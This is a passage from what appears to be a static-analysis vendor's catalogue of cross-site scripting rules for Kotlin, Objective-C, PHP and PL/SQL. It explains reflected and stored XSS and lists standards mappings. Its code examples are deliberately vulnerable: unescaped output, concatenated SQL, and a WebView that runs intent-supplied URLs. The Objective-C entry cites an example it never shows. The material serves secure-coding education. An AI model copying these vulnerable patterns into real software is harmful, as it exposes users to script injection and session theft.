Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following code segment queries a database for an employee with a given ID and prints the corresponding employee's name in the servlet's response.


val stmt: Statement = conn.createStatement()
val rs: ResultSet = stmt.executeQuery("select * from emp where id=$eid")
rs.next()
val name: String = rs.getString("name")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee Name: $name")
...
out.close()
...


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

Some think that in the mobile environment, classic web application vulnerabilities, such as cross-site scripting, do not make sense -- why would the user attack themself? However, keep in mind that the essence of mobile platforms is applications that are downloaded from various sources and run alongside each other on the same device. The likelihood of running a piece of malware next to a banking application is high, which necessitates expanding the attack surface of mobile applications to include inter-process communication.

Example 3: The following code enables JavaScript in Android's WebView (by default, JavaScript is disabled) and loads a page based on the value received from an Android intent.


...
val webview = findViewById<View>(R.id.webview) as WebView
webview.settings.javaScriptEnabled = true
val url = this.intent.extras!!.getString("url")
webview.loadUrl(url)
...


If the value of url starts with javascript:, JavaScript code that follows executes within the context of the web page inside WebView.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- As in Example 3, a source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.


A number of modern web frameworks provide mechanisms to perform user input validation (including Struts and Spring MVC). To highlight the unvalidated sources of input, Fortify Secure Coding Rulepacks dynamically re-prioritize the issues Fortify Static Code Analyzer reports by lowering their probability of exploit and providing pointers to the supporting evidence whenever the framework validation mechanism is in use. We refer to this feature as Context-Sensitive Ranking. To further assist the Fortify user with the auditing process, the Fortify Software Security Research group makes available the Data Validation project template that groups the issues into folders based on the validation mechanism applied to their source of input.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[4] Erika Chin and David Wagner Bifocals: Analyzing WebView Vulnerabilities in Android Applications
[5] INJECT-3: XML and HTML generation requires care Oracle
[6] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[19] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[22] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2021 A03 Injection
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[39] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[40] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[41] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[42] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[65] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.kotlin.cross_site_scripting_reflected
Abstract
The method sends unvalidated data to a web browser which can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web page through an untrusted source. In the case of reflected XSS, the untrusted source is typically through user components, URL scheme handlers, or notifications, while in the case of Persistent (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a UIWebView component without being validated.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.


Example 1: The following Objective-C code segment reads the text portion of a custom URL scheme which was passed to and invoked the application (myapp://input_to_the_application). The untrusted data in the URL is then used to render HTML output in a UIWebView component.


- (BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url {

UIWebView *webView;
NSString *partAfterSlashSlash = [[url host] stringByReplacingPercentEscapesUsingEncoding:NSUTF8StringEncoding];
webView = [[UIWebView alloc] initWithFrame:CGRectMake(0.0,0.0,360.0, 480.0)];
[webView loadHTMLString:partAfterSlashSlash baseURL:nil]

...


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in HTTP content. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from a custom URL scheme and reflected back in the content of a UIWebView response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable iOS application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a custom scheme URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable app. After the app reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] W/Labs Continued Adventures with iOS UIWebViews
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.objc.cross_site_scripting_reflected
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following PHP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


<?php
$eid = $_GET['eid'];
...
?>
...
<?php
echo "Employee ID: $eid";
?>


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following PHP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


<?php...
$con = mysql_connect($server,$user,$password);
...
$result = mysql_query("select * from emp where id="+eid);
$row = mysql_fetch_array($result)
echo 'Employee name: ', mysql_result($row,0,'name');
...
?>


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.php.cross_site_scripting_reflected
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


...
-- Assume QUERY_STRING looks like EID=EmployeeID
eid := SUBSTR(OWA_UTIL.get_cgi_env('QUERY_STRING'), 5);
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
